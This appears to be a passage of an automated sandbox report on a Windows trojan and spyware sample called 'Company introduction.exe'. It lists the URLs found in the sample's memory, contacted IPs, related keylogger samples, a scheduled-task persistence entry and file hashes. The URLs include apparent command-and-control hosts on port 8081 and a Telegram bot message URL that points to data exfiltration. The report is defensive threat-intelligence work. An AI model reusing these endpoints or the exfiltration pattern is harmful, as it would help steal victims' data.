http://checkip.dyndns.org/q	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	Company introduction.exe, 00000006.00000002.2941471703.0000000003260000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003501000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fonts.com	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sandoll.co.kr	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Company introduction.exe, 00000000.00000002.1732379162.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000000.00000002.1732379162.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1756873041.0000000002998000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sakkal.com	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030F2000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003392000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
https://www.office.com/	FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003537000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003528000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Company introduction.exe, 00000006.00000002.2950101107.0000000004449000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004373000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041F7000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004326000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004470000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045C6000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004422000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004497000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004614000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.carterandcone.coml	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/cabarga.htmlN	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
http://www.jiyu-kobo.co.jp/	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	Company introduction.exe, 00000006.00000002.2941471703.000000000311C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.0000000003162000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003401000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030F2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.0000000003162000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003392000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003401000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers8	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Company introduction.exe, 00000006.00000002.2950101107.000000000415D000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004424000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004301000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.000000000432C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004188000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045CC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046C4000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004472000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004428000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000043FD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591636
Start date and time:	2025-01-15 08:38:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Company introduction.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/11@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 183 Number of non-executed functions: 33
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.245.163.56, 13.107.253.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:39:00	API Interceptor	2435794x Sleep call for process: Company introduction.exe modified
02:39:02	API Interceptor	12x Sleep call for process: powershell.exe modified
02:39:03	API Interceptor	1592920x Sleep call for process: FzXKnGk.exe modified
07:39:02	Task Scheduler	Run new task: FzXKnGk path: C:\Users\user\AppData\Roaming\FzXKnGk.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	ydJaT4b5N8.exe	Get hash	malicious	FormBook	Browse	www.vilakodsiy.sbs/vq3j/
	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.axis138ae.shop/j2vs/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
149.154.167.220	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	12.exe	Get hash	malicious	Unknown	Browse
	12.exe	Get hash	malicious	Unknown	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse
193.122.6.168	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
reallyfreegeoip.org	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
api.telegram.org	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	12.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	m68k.elf	Get hash	malicious	Unknown	Browse	193.122.239.186
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	http://ubiquitous-twilight-c9292b.netlify.app/	Get hash	malicious	Unknown	Browse	129.213.176.209
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
CLOUDFLARENETUS	new order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://qvg.soundestlink.com/ce/c/6783ea8fa36d871b210a875d/678648091eb09f6bc9efe05e/678648224da9c434ec77e1fc?signature=c3a7b24183dde70b3cc2cefa1e1d5f8ff6f1d434aea3b4c4cfdeccd85ad85929	Get hash	malicious	Unknown	Browse	104.18.42.178
	MDE_File_Sample_c404ec52446527b77da6860ca493ea2007ac03d5 (1).zip	Get hash	malicious	Unknown	Browse	104.16.148.130
	https://url.rw/ddj4f	Get hash	malicious	Unknown	Browse	1.1.1.1
	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.18.22
	https://padlet.com/prowebsolutions488/new-message-jba6y6w7rg9tzzmn	Get hash	malicious	HTMLPhisher	Browse	104.22.67.248
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://androiddatahost.com/sdsd3	Get hash	malicious	Unknown	Browse	104.21.80.92
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	EXTERNAL Your company's credit limit has changed!.msg	Get hash	malicious	Unknown	Browse	104.17.25.14
TELEGRAMRU	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://telenerh-ogjf.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://ofmfy.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://teiegtrm.cc/EN/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegtrm.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegroj.cc/ZH/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegroj.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegrvu.cc/VN/	Get hash	malicious	Telegram Phisher	Browse	149.154.170.96
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
3b5074b1b5d032e5620f69f9f700ff0e	new order.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NLWfV87ouS.dll	Get hash	malicious	Wannacry	Browse	149.154.167.220
	542CxvZnI5.dll	Get hash	malicious	Virut, Wannacry	Browse	149.154.167.220
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/b/?_encoding=UTF8&_encoding=UTF8&node=3024314031&bbn=16435051&pd_rd_w=VSdHJ&content-id=amzn1.sym.01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_p=01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://ziyahid.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://pub-35a1d927529e4c9684409537cf8ff63f.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://emeklilereozeldir.org/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://industrious-tomato-ngvkcs.mystrikingly.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\Company introduction.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FzXKnGk.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
